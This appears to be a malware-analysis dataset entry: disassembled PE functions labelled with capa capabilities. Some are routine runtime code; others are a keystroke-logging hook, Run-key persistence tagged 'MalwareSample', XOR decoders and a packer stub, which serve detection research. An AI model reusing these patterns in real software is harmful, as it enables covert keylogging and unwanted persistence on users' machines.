joyce8/EMBER2024-capa huggingface dataset:
Function at 0x425c10
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x425d80
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.004239a0
mov eax, dword [esp + 4]
test eax, eax
je 0x425d69
mov dword [esp + 0xc], eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x18]
nop
inc dword [edx + 0x7c]
mov ecx, dword [ecx + 0x18]
mov dword [esp + 0x14], ecx
mov dword [esp], eax
call fcn.00421720
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0xc]
sub eax, dword [ecx + 0xc]
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x24]
movzx ebx, byte [edx + 6]
mov byte [esp + 0xb], bl
lea ebp, [ecx + 0x48]
mov dword [esp + 0x18], ebp
nop
mov dword [esp], ebp
call fcn.00408ef0
mov eax, dword [esp + 0xc]
lea ecx, [eax + 0x4c]
movzx edx, byte [esp + 0xb]
mov ebx, dword [esp + 0x10]
jmp 0x425ca7
mov ecx, ebp
mov ebp, dword [ecx]
test ebp, ebp
je 0x425d0d
movzx esi, word [ebp + 4]
cmp esi, ebx
jne 0x425cbc
cmp byte [ebp + 6], dl
je 0x425cc7
cmp esi, ebx
ja 0x425d0d
jne 0x425ca5
cmp byte [ebp + 6], dl
jbe 0x425ca5
jmp 0x425d0d
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call fcn.004090f0
nop
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 0x7c]
lea ebx, [edx - 1]
mov dword [ecx + 0x7c], ebx
cmp edx, 1
jne 0x425d04
movzx ecx, byte [eax + 0x65]
test cl, cl
je 0x425d04
mov dword [eax + 8], 0xfffffade
mov byte [esp + 0x28], 0
add esp, 0x1c
ret
mov edx, dword [esp + 0x24]
mov word [edx + 4], bx
mov ebx, dword [ecx]
mov dword [edx], ebx
mov dword [ecx], edx
mov dword [esp], eax
call fcn.00425b10
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call fcn.004090f0
nop
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 0x7c]
lea ebx, [edx - 1]
mov dword [ecx + 0x7c], ebx
cmp edx, 1
jne 0x425d60
movzx ecx, byte [eax + 0x65]
test cl, cl
je 0x425d60
mov dword [eax + 8], 0xfffffade
mov byte [esp + 0x28], 1
add esp, 0x1c
ret
lea eax, [0x49c4f7]
mov dword [esp], eax
mov dword [esp + 4], 0x1d
call fcn.004333e0
nop
call fcn.0045a360
jmp fcn.00425c10
Function at 0x426200
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x42631c
sub esp, 0x14
mov eax, dword [esp + 0x18]
movzx ecx, byte [eax + 6]
cmp cl, 1
je 0x426295
cmp cl, 2
je 0x42623d
cmp cl, 3
jne 0x426305
mov byte [eax + 8], 1
jmp 0x426301
mov ecx, dword [eax + 8]
mov dword [esp], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
call fcn.0042b430
nop
lea eax, [0x52f1d8]
mov dword [esp], eax
call fcn.00408ef0
nop
mov eax, dword [0x52f1a4]
sub eax, dword [0x52f188]
mov dword [0x52f1a4], eax
mov eax, dword [0x52f194]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x52f194], ecx
nop
lea eax, [0x52f1d8]
mov dword [esp], eax
call fcn.004090f0
jmp 0x426301
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov ebp, dword [eax + 0x14]
mov esi, dword [esp + 0x1c]
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebp
call fcn.004125f0
nop
lea eax, [0x52f1d8]
mov dword [esp], eax
call fcn.00408ef0
nop
mov eax, dword [0x52f17c]
sub eax, dword [0x52f160]
mov dword [0x52f17c], eax
mov eax, dword [0x52f16c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x52f16c], ecx
nop
nop
lea eax, [0x52f1d8]
mov dword [esp], eax
call fcn.004090f0
add esp, 0x14
ret
lea eax, [0x498154]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call fcn.004333e0
nop
call fcn.0045a360
jmp fcn.00426200
Function at 0x44fe40
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x44ff40
sub esp, 0x28
mov eax, dword [esp + 0x2c]
mov dword [eax + 0x8c], 0
mov dword [eax + 0x90], 0
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov ecx, dword [ecx + 0x58]
mov dword [eax + 0x94], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp], ecx
call fcn.004506d0
mov eax, dword [esp + 4]
mov dword [esp + 0x14], eax
lea ecx, [0x489e00]
mov dword [esp], ecx
call fcn.0040af90
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x14]
inc ecx
mov dword [eax], ecx
lea ecx, [0x52f270]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
mov dword [esp + 0xc], 1
call fcn.0044f6c0
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [ecx + 0x50]
mov ecx, dword [ecx + 0x54]
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], eax
mov byte [esp], 0xd
mov dword [esp + 4], 2
lea eax, [esp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 2
call fcn.0044eae0
add esp, 0x28
ret
call fcn.0045a360
jmp fcn.0044fe40
Function at 0x45b620
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movd xmm0, dword [esp + 8]
pinsrw xmm0, ebx, 4
pshufhw xmm0, xmm0, 0
movdqa xmm1, xmm0
pxor xmm0, xmmword [0x54ae80]
aesenc xmm0, xmm0
cmp ebx, 0x10
jb 0x459deb
je 0x459e3e
cmp ebx, 0x20
jbe 0x459e44
cmp ebx, 0x40
jbe 0x459e8a
jmp 0x459f2b
test ebx, ebx
je 0x459e34
add eax, 0x10
test ax, 0xff0
je 0x459e20
movdqu xmm1, xmmword [eax - 0x10]
add ebx, ebx
pand xmm1, xmmword [ebx*8 + 0x4bcb40]
pxor xmm1, xmm0
aesenc xmm1, xmm1
aesenc xmm1, xmm1
aesenc xmm1, xmm1
movd dword [edx], xmm1
ret
movdqu xmm1, xmmword [eax + ebx - 0x20]
add ebx, ebx
pshufb xmm1, xmmword [ebx*8 + 0x4bcc40]
jmp 0x459e08
aesenc xmm0, xmm0
movd dword [edx], xmm0
ret
movdqu xmm1, xmmword [eax]
jmp 0x459e08
pxor xmm1, xmmword [0x54ae90]
aesenc xmm1, xmm1
movdqu xmm2, xmmword [eax]
movdqu xmm3, xmmword [eax + ebx - 0x10]
pxor xmm2, xmm0
pxor xmm3, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
pxor xmm2, xmm3
movd dword [edx], xmm2
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x54ae90]
pxor xmm2, xmmword [0x54aea0]
pxor xmm3, xmmword [0x54aeb0]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax]
movdqu xmm5, xmmword [eax + 0x10]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
pxor xmm4, xmm0
pxor xmm5, xmm1
pxor xmm6, xmm2
pxor xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x54ae90]
pxor xmm2, xmmword [0x54aea0]
pxor xmm3, xmmword [0x54aeb0]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax + ebx - 0x40]
movdqu xmm5, xmmword [eax + ebx - 0x30]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
dec ebx
shr ebx, 6
movdqu xmm0, xmmword [eax]
movdqu xmm1, xmmword [eax + 0x10]
movdqu xmm2, xmmword [eax + 0x20]
movdqu xmm3, xmmword [eax + 0x30]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
add eax, 0x40
dec ebx
jne 0x459f8a
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
cmp byte [0x54ab8d], 0
je 0x45b63a
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0xc]
lea edx, [esp + 0x10]
jmp 0x459db0
jmp fcn.00407c40
Function at 0x45b640
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4025de
sub esp, 0x10
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00407c40
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
add esp, 0x10
ret
call fcn.0045a360
jmp 0x4025a0
cmp byte [0x54ab8d], 0
je 0x45b65b
mov eax, dword [esp + 4]
mov ebx, dword [eax + 4]
mov eax, dword [eax]
lea edx, [esp + 0xc]
jmp 0x459db0
jmp 0x4025a0
Function at 0x401a5e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0x82
call fcn.0040b846
xor edx, edx
pop ecx
cmp dword [ebp + 0xc], edx
jle 0x401aa3
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, 0x476640
mov edi, eax
sub esi, ecx
sub edi, ecx
mov cx, word [esi + edx*2 + 0x476640]
xor cx, word [edx*2 + 0x476640]
inc edx
mov word [edi + edx*2 + 0x47663e], cx
cmp edx, dword [ebp + 0xc]
jl 0x401a83
pop edi
pop esi
xor ecx, ecx
mov word [eax + edx*2], cx
pop ebp
ret 8

Function at 0x401d81
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0x26
call fcn.0040cc63
xor edx, edx
pop ecx
cmp dword [ebp + 0xc], edx
jle 0x401dc3
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, 0x428454
mov edi, eax
sub esi, ecx
sub edi, ecx
mov cx, word [esi + edx*2 + 0x428454]
xor cx, word [edx*2 + 0x428454]
inc edx
mov word [edi + edx*2 + 0x428452], cx
cmp edx, dword [ebp + 0xc]
jl 0x401da3
pop edi
pop esi
xor ecx, ecx
mov word [eax + edx*2], cx
pop ebp
ret 8

Function at 0x401dcd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0x13
call fcn.0040cc63
pop ecx
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
jle 0x401e0b
push esi
mov esi, dword [ebp + 8]
push edi
mov edx, 0x4284f4
mov edi, eax
sub esi, edx
sub edi, edx
mov dl, byte [esi + ecx + 0x4284f4]
xor dl, byte [ecx + 0x4284f4]
inc ecx
mov byte [edi + ecx + 0x4284f3], dl
cmp ecx, dword [ebp + 0xc]
jl 0x401def
pop edi
pop esi
mov byte [ecx + eax], 0
pop ebp
ret 8

Function at 0x401ea8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push esi
cmp dword [0x47796c], ecx
jne 0x401ee7
push 8
mov eax, ecx
pop esi
test al, 1
je 0x401ec8
shr eax, 1
xor eax, 0xedb88320
jmp 0x401eca
shr eax, 1
dec esi
jne 0x401ebb
mov dword [ecx*4 + 0x4779a0], eax
inc ecx
cmp ecx, 0x100
jl 0x401eb6
mov dword [0x47796c], 1
mov ecx, dword [ebp + 8]
lea ecx, [edx + ecx*2]
or eax, 0xffffffff
cmp edx, ecx
jae 0x401f14
push edi
movzx edi, byte [edx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
xor eax, dword [esi*4 + 0x4779a0]
add edx, 2
cmp edx, ecx
jb 0x401ef5
pop edi
not eax
pop esi
pop ebp
ret 4

Function at 0x4032b9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0x66
call fcn.0040b846
xor edx, edx
pop ecx
cmp dword [ebp + 0xc], edx
jle 0x4032fb
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, 0x427ca0
mov edi, eax
sub esi, ecx
sub edi, ecx
mov cx, word [esi + edx*2 + 0x427ca0]
xor cx, word [edx*2 + 0x427ca0]
inc edx
mov word [edi + edx*2 + 0x427c9e], cx
cmp edx, dword [ebp + 0xc]
jl 0x4032db
pop edi
pop esi
xor ecx, ecx
mov word [eax + edx*2], cx
pop ebp
ret 8

Function at 0x403305
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0x76
call fcn.0040b846
xor edx, edx
pop ecx
cmp dword [ebp + 0xc], edx
jle 0x403347
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, 0x428508
mov edi, eax
sub esi, ecx
sub edi, ecx
mov cx, word [esi + edx*2 + 0x428508]
xor cx, word [edx*2 + 0x428508]
inc edx
mov word [edi + edx*2 + 0x428506], cx
cmp edx, dword [ebp + 0xc]
jl 0x403327
pop edi
pop esi
xor ecx, ecx
mov word [eax + edx*2], cx
pop ebp
ret 8
Function at 0x41ca33
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4265d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00411c6c
and dword [ebp - 0x14], 0
cmp dword [0x477954], 0
mov dword [ebp - 0x18], eax
jne 0x41cae6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41cb8e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41cb8e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x477954], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x477958], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x47795c], eax
call edi
push eax
call esi
mov dword [0x477964], eax
test eax, eax
je 0x41cae6
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x477960], eax
mov eax, dword [0x477960]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41cb3f
cmp dword [0x477964], ecx
je 0x41cb3f
push eax
call esi
push dword [0x477964]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41cb3f
test ebx, ebx
je 0x41cb3f
call edi
test eax, eax
je 0x41cb36
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41cb36
test byte [ebp - 8], 1
jne 0x41cb3f
or dword [ebp + 0x10], 0x200000
jmp 0x41cb72
mov eax, dword [0x477958]
cmp eax, dword [ebp - 0x18]
je 0x41cb72
push eax
call esi
test eax, eax
je 0x41cb72
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41cb72
mov eax, dword [0x47795c]
cmp eax, dword [ebp - 0x18]
je 0x41cb72
push eax
call esi
test eax, eax
je 0x41cb72
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x477954]
call esi
test eax, eax
je 0x41cb8e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41cb90
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c44c
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x111190a8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x111190b2
pushal
call 0x111190b8
pop ebp
sub ebp, 0x10
sub ebp, 0x11190a8
mov al, byte [esp + 0x28]
cmp al, 1
je 0x111190dc
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x111190e5
mov eax, 0x11190a8
add eax, ebp
add eax, 0x63
mov ecx, 0x5b5
mov edx, 0x98c716a9
xor byte [eax], dl
inc eax
dec ecx
jne 0x111190fc
jmp 0x1111910f
and ah, byte [edx + 0x20]
xchg ebp, eax
test eax, 0x6828a9a9
push ecx
test eax, 0x64aaa9a9
adc dword [edi + 0x13a9a9a9], ebp
sub dword [ecx + 0x4b5ea9a9], 0x282261aa
movsd dword es:[edi], dword [esi]
test eax, 0x6caaa9a9
stc
stc
sal ecx, 0x4e
mov byte [ecx + 0x4600e7c1], ch
test eax, 0xc18d85a8
invalid
Function at 0x4010a0
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
push 0
push 0x401040
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [ebp - 4], eax
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x4010e4
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x4010ba
mov esp, ebp
pop ebp
ret

Function at 0x4010f0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 0
push 0
push 1
push 0x418010
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401154
push 0
push 0x80000000
push 0
push 0
push str.http:__www.example.com
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40114a
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401160
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x418080]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x10c]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [ebp - 0x108]
push edx
call fcn.004044f0
add esp, 4
add eax, 1
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.MalwareSample
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401206
mov esp, ebp
pop ebp
ret

Function at 0x401a0b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401a4a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401a4a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401a4a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401a4a
cmp dword [ecx + 0x74], 0xe
jbe 0x401a4a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x408926
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4089c3
push ebx
push esi
call fcn.004088ef
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408883
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x408970
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4089c2
push edi
push eax
call fcn.004094f6
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408990
call fcn.00405a62
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4089c1
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408883
add esp, 0x20
test eax, eax
jne 0x4089af
push edi
call fcn.00405a62
jmp 0x4089b7
push ebx
call fcn.00405a62
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x409c73
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x413048
push 0x413040
push str.FlsAlloc
push 0x1f
call fcn.00409b32
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409ca7
push dword [ebp + 8]
mov ecx, esi
call dword [0x411160]
call esi
jmp 0x409cad
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409cf1
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x413058
push 0x413050
push str.FlsGetValue
push 0x21
call fcn.00409b32
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409d28
push dword [ebp + 8]
mov ecx, esi
call dword [0x411160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x409d30
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x413060
push 0x413058
push str.FlsSetValue
push 0x22
call fcn.00409b32
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409d6a
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x411160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40d309
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x418f68]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40d349
cmp byte [ebx], 0xa
jne 0x40d349
or byte [edi + eax + 0x28], 4
jmp 0x40d34e
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x40d44d
mov dl, byte [eax]
cmp dl, 0x1a
je 0x40d430
inc eax
cmp dl, 0xd
je 0x40d37a
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x40d3a0
cmp eax, ecx
jae 0x40d3ae
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x40d362
jmp 0x40d44d
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40d42b
cmp dword [ebp - 0x10], 0
je 0x40d42b
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x418f68]
test byte [eax + edi + 0x28], 0x48
je 0x40d405
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x40d3f0
mov byte [esi], dl
jmp 0x40d401
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x418f68]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x40d44d
cmp byte [ebp - 1], 0xa
jne 0x40d414
cmp esi, ebx
jne 0x40d414
mov byte [esi], 0xa
jmp 0x40d44c
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040c3a5
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x40d44d
mov byte [esi], 0xd
jmp 0x40d44c
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x418f68]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x40d44a
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x40d44d
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret